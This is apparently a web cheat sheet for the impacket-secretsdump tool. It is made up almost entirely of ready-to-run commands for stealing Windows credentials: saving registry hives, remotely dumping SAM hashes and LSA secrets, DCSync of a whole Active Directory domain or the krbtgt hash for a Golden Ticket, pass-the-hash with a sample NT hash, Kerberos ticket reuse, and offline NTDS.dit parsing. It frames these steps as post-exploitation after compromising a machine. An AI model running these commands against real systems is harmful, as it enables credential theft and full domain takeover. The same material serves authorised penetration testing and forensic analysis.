impacket-secretsdump cheat sheet — remote and local credential extraction: SAM, LSA secrets, NTDS.dit, DCSync, cached credentials, and offline hash parsing.
Overview
impacket-secretsdump extracts credentials from Windows systems both remotely and locally. It can dump SAM hashes, LSA secrets, cached domain credentials, and the full NTDS.dit Active Directory database. Operates over SMB/RPC (ports 445/135) for remote targets or parses registry hives and database files offline.
# Using ccache from environmentexport KRB5CCNAME=/tmp/krb5cc_adminimpacket-secretsdump DOMAIN/[email protected] -k -no-pass# Requires valid TGT/TGS in the ccache# Target must be a hostname (not IP) for Kerberos
Parse registry hives offline without network access. Useful when you have copied hive files from a compromised machine.
Dump Hives on Target (if you have shell access)
reg save HKLM\SAM C:\sam.savereg save HKLM\SYSTEM C:\system.savereg save HKLM\SECURITY C:\security.save
Parse Locally
# SAM + SYSTEM (local account hashes)impacket-secretsdump -sam sam.save -system system.save LOCAL# SAM + SYSTEM + SECURITY (includes LSA secrets and cached creds)impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
The SYSTEM hive is always required — it contains the boot key needed to decrypt SAM and SECURITY.
Local NTDS.dit Parsing
Parse a copied NTDS.dit file offline. Requires the SYSTEM hive for decryption.
# Copy from DC (via shadow copy, backup, etc.)# ntds.dit is at C:\Windows\NTDS\ntds.ditimpacket-secretsdump -ntds ntds.dit -system system.save LOCAL# Only NTLM hashesimpacket-secretsdump -ntds ntds.dit -system system.save -just-dc-ntlm LOCAL# Include historyimpacket-secretsdump -ntds ntds.dit -system system.save -history LOCAL
Output Format
SAM Hashes (NTLM)
username:RID:LMhash:NThash:::
LMhash is aad3b435b51404eeaad3b435b51404ee when LM is disabled (modern Windows default)
NThash is the NTLM hash — this is what you crack or pass
NTDS.dit Hashes
domain\username:RID:LMhash:NThash:::
When using -just-dc (not -just-dc-ntlm), Kerberos keys are also dumped:
Use an NTLM hash instead of a password for authentication:
# Standard pass-the-hashimpacket-secretsdump DOMAIN/[email protected] -hashes :NThash# With full LM:NT pairimpacket-secretsdump DOMAIN/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889# DCSync via pass-the-hashimpacket-secretsdump DOMAIN/[email protected] -hashes :NThash -just-dc-user krbtgt
Kerberos Authentication
Use Kerberos tickets instead of passwords or hashes:
# Obtain TGT first (via impacket-getTGT, kinit, or Rubeus)export KRB5CCNAME=/tmp/krb5cc_admin# Use ticket — target MUST be hostname, not IPimpacket-secretsdump DOMAIN/[email protected] -k -no-pass# DCSync with Kerberosimpacket-secretsdump DOMAIN/[email protected] -k -no-pass -just-dc-user krbtgt# With AES key directlyimpacket-secretsdump DOMAIN/[email protected] -aesKey <aes256-key> -k
Ensure DNS resolves the DC hostname or add it to /etc/hosts. Kerberos does not work with IP addresses.
Common Use Cases
Post-Exploitation: Dump Local Hashes
# After compromising a workstation — get local admin hashesimpacket-secretsdump ./admin:[email protected]
DCSync: Extract Domain Hashes
# Full domain dump via DCSyncimpacket-secretsdump DOMAIN/admin:[email protected] -just-dc# Just the krbtgt hash for Golden Ticketimpacket-secretsdump DOMAIN/admin:[email protected] -just-dc-user krbtgt
Offline Analysis: Hives from Disk Image
# Mount disk image, copy hives, parse offlineimpacket-secretsdump -sam /mnt/Windows/System32/config/SAM \ -system /mnt/Windows/System32/config/SYSTEM \ -security /mnt/Windows/System32/config/SECURITY \ LOCAL
Offline Analysis: NTDS.dit from Backup
impacket-secretsdump -ntds /mnt/backup/ntds.dit -system /mnt/backup/system.save LOCAL